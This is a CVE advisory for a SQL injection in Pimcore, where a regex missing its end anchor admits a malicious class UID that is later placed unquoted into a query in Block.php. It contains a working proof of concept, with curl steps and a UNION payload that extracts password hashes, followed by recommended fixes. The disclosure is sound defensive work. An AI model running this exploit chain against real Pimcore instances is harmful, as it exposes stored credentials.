CVE-2026-55072
Pimcore SQL Injection Vulnerability
Description
### Summary A missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`. ### Details ### 1. Missing end anchor in ClassDefinition UID validation `models/DataObject/ClassDefinition.php` lines 1148-1154: ```php if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) { throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName())); } if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) { throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName())); } ``` Both patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest. Compare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268: ```php if (!preg_match('/^[a-zA-Z]\w*$/', $key)) { // has $ — correct return true; } ``` ### 3. Unquoted classId concatenation in Block.php `models/DataObject/ClassDefinition/Data/Block.php` line 735: ```php $query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id = ' . $object->getId(); ``` `$object->getClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts. Compare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name: ```php $objectDatastoreTable = 'object_store_' . $this->model->getId(); $qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable); ``` Dao.php was hardened in commit `dbe1d131e4` but Block.php was not. ### PoC **Prerequisites:** - Pimcore 2026.1.x with Studio API enabled - A user `lowpriv` with only the `objects` permission **Step 1 — Authenticate as lowpriv and save the session cookie:** ```bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"lowpriv","password":"password"}' ``` Expected response: ```json {"message": "Login successful"} ``` **Step 2 — Create a ClassDefinition with a malicious UID:** ```bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}' ``` Expected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown. The bypass can be verified independently in any PHP sandbox: ```php var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- ')); // int(1) — PASSES, no exception thrown var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- ')); // int(0) — BLOCKED, correct behavior with $ anchor ``` **Step 3 — Add a Block field to the malicious class (via the class editor UI or API)** In the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class. **Step 4 — Create a data object of the malicious class:** ```bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/data-objects" \ -H "Content-Type: application/json" \ -d '{"className":"PocClass","parentId":1,"key":"poc-object"}' ``` Note the returned object ID (e.g. `42`). **Step 5 — Fetch the data object to trigger Block.php:735:** ```bash curl -s -b /tmp/cookies.txt \ "https://your-pimcore/pimcore-studio/api/data-objects/42" ``` When the object loads, `Block::load()` executes: ```sql SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users-- WHERE oo_id = 42 ``` The `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response. **Expected response (vulnerable):** The `myblock` field value in the response contains rows from the `users` table including password hashes. **Expected response (patched):** Step 2 fails with a validation exception — the UID is rejected before the class is created. **Recommended fix:** Add trailing `$` anchors to both regex patterns in `ClassDefinition.php`: ```php // Before (vulnerable) if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) { if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) { // After (correct) if (!preg_match('/^[a-zA-Z]\w+$/', $this->getName())) { if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) { ``` Additionally, wrap `$object->getClassId()` in `$db->quoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value. ### Impact An authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.
INFO
Published Date :
Aug. 13, 2026, 1:44 p.m.
Last Modified :
Aug. 13, 2026, 1:44 p.m.
Remotely Exploit :
Yes !
Source :
github-security-advisories
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | HIGH | github |
Solution
- Add trailing '$' anchors to UID validation regex.
- Quote table names using quoteIdentifier() in Block.php.
- Apply all vendor patches for this vulnerability.
- Review code for similar unquoted identifiers.
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